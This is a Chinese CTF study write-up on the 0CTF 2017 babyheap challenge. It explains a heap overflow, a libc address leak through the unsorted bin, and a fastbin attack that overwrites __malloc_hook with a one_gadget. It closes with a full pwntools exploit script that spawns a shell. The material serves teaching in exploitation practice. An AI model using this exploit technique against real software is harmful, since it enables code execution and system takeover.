babyheap_0ctf_2017——经典fastbin attack
概述
做做基础堆找找手感,大佬直接这里请exp及思路启发,本学习笔记只是拾人牙慧的复述与补充
1、checksec
不出意料地保护全开,说明必须泄露地址以解决ASLR
2、伪代码
int sub_CF4()
{
puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
return printf("Command: ");
}
- Allocate,没有明显漏洞点,注意使用的是calloc,申请到的chunk会被
\x00
填充
void __fastcall add_D48(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = read_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL); // fill x00
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; // struct inuse
*(_QWORD *)(a1 + 24LL * i + 8) = v2; // size
*(_QWORD *)(a1 + 24LL * i + 16) = v3; // pointer
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
__int64 __fastcall edit_E7F(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_138C();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 ) // detect in use
{
printf("Size: "); // unlimited size
result = read_138C();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
__int64 __fastcall del_F50(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_138C();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL; // set pointer null
}
}
return result;
}
int __fastcall show_1051(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = read_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
思路分析
总体思路:通过dump泄露堆基址进而计算libc基址,把堆空间申请到libc装载地址去,覆盖malloc_hook达成getshell目的
详细分析
1、泄露堆基址
为了dump泄露堆基址,我们需要获取一个unsorted bin中的chunk指针,但是chunk只有在被free掉之后才会进入unsorted bin,而菜单中的free选项会把free后的chunk指针置空,这是第一个需要解决的问题
针对这个问题,我们可以让idx数组中的多个元素指向同一chunk空间,使得即使释放chunk令某一idx指针被置空后,仍然有idx元素指向目标空间,从而顺利调用dump方法进行内容的泄露
解决了指针的问题后,还有一个亟待解决的问题,如何让目标chunk被释放后顺利地进入unsorted bin。
首先,这个chunk的大小不能在fastbin的范围内,否则在释放后会直接进入fastbin,其次,这个chunk不能与top chunk相邻,否则被释放后会直接与top chunk合并。
针对以上两个条件,我们可以构造一个small bin chunk,并且在释放之前,再申请一个chunk将目标chunk与top chunk隔开
构造堆结构如下
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(2)
free(1)
下一步,通过堆溢出漏洞,把chunk1的fd指针修改为指向chunk4的指针,这里之所以能成功,是因为堆始终是4kb对齐的(就是首地址后12位始终为0),所以chunk4的用户空间的地址与chunk2的地址区别就是低8位变成0x80
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
再次通过堆溢出漏洞,修改chunk4的size以绕过fastbin的size检测,然后把chunk4再malloc回来
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10)
allocate(0x10)
到这里,我们已经让idx中的两个元素指向同一chunk了,现在只需要把chunk4放到unsorted bin去。在释放之前,需要先把chunk4的大小改回去,然后申请一个chunk把chunk4与top chunk分隔开避免合并
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
allocate(0x80)
free(4)
dump(2)
p.recvuntil('Content: \n')
unsortedbin_addr = u64(p.recv(8))
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
log.success('main arena addr: ' + hex(main_arena))
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
log.success('libc base addr: ' + hex(libc_base))
2、挟持__malloc_hook
总体思路就是使用fastbin单链表的特性,通过堆溢出修改fastbin中的chunk的fd指针,伪造目标地址chunk并改写__malloc_hook
因为我们这里存在堆溢出漏洞,所以不需要double free也可以改写fastbin chunk中的内容
先找到目标地址附近,看看有没有合适的fake chunk,想要分配 chunk 到目标地址,需要解决一个问题:分配bin中的chunk时,会对chunk的size部分进行检测,如果和申请的大小不符,将无法分配成功。
所以,我们需要借助 __malloc_hook
附近原有的数据构造fake chunk,如下图所示,高亮部分就是在 __malloc_hook
附近构造的fake chunk,这个chunk的size为0x7f,对应的用户空间即为0x60,恰好在fastbin的大小范围内。也就是说,如果我们把fastbin chunk的fd指针改为这个fake chunk的地址,那么我们下一次申请0x60大小的用户空间时,就可以在fake chunk位置写入数据
chunk结构
可以写入数据后,我们把__malloc_hook覆盖为one_gadget地址,在下一次调用malloc的时候,就会直接执行one_gadget
allocate(0x60)
free(4)
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
# 由于这个chunk6是从我们之前使用的chunk4中分割出来的,所以idx2仍然可以用溢出改写chunk6的数据
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60)
allocate(0x60)
one_gadget_addr = libc_base + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
allocate(0x100)
p.interactive()
完整exp
from PwnContext.core import *
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# func
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#ctx.remote = ("123.56.87.204", 17873)
ctx.binary = './babyheap_0ctf'
ctx.remote_libc = '/root/pwn/heap/libs/libc-2.23/64bit/libc.so.6'
ctx.debug_remote_libc = True
ctx.start()
print("****************************************************************************************************")
print(ctx.libc.path)
print("****************************************************************************************************")
elf = ELF('./babyheap_0ctf')
libc = ELF('/root/pwn/heap/libs/libc-2.23/64bit/libc.so.6')
def add(size):
ctx.recvuntil('Command: ')
ctx.sendline("1")
ctx.recvuntil("Size: ")
ctx.sendline(str(size))
def edit(index,size,content):
ctx.recvuntil('Command: ')
ctx.sendline("2")
ctx.recvuntil("Index: ")
ctx.sendline(str(index))
ctx.recvuntil("Size: ")
ctx.sendline(str(size))
ctx.recvuntil("Content: ")
ctx.sendline(content)
def dele(index):
ctx.recvuntil('Command: ')
ctx.sendline("3")
ctx.recvuntil("Index: ")
ctx.sendline(str(index))
def show(index):
ctx.recvuntil('Command: ')
ctx.sendline("4")
ctx.recvuntil("Index: ")
ctx.sendline(str(index))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
dele(2)
dele(1)
payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
edit(0,len(payload),payload)
payload = 0x10 * 'a'+ p64(0) + p64(0x21)
edit(3,len(payload),payload)
add(0x10)
add(0x10)
payload= 0x10 * 'a'+p64(0)+p64(0x91)
edit(3,len(payload),payload)
add(0x80)
dele(4)
show(2)
ctx.debug(gdbscript="b *$rebase(0x1133")
ctx.recvuntil('Content: \n')
unsort_addr=u64(ctx.recv(8))
main_arena =unsort_addr-88
libcbase_addr =main_arena -0x3C4B20
add(0x60)
dele(4)
fake_chunk_addr=main_arena-0x33
payload=p64(fake_chunk_addr)
edit(2,len(payload),payload)
add(0x60)
add(0x60)
one_gadget_addr = libcbase_addr + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
edit(6,len(payload),payload)
add(0x90)
#gdb.attach(io)
ctx.interactive()
ctx.close()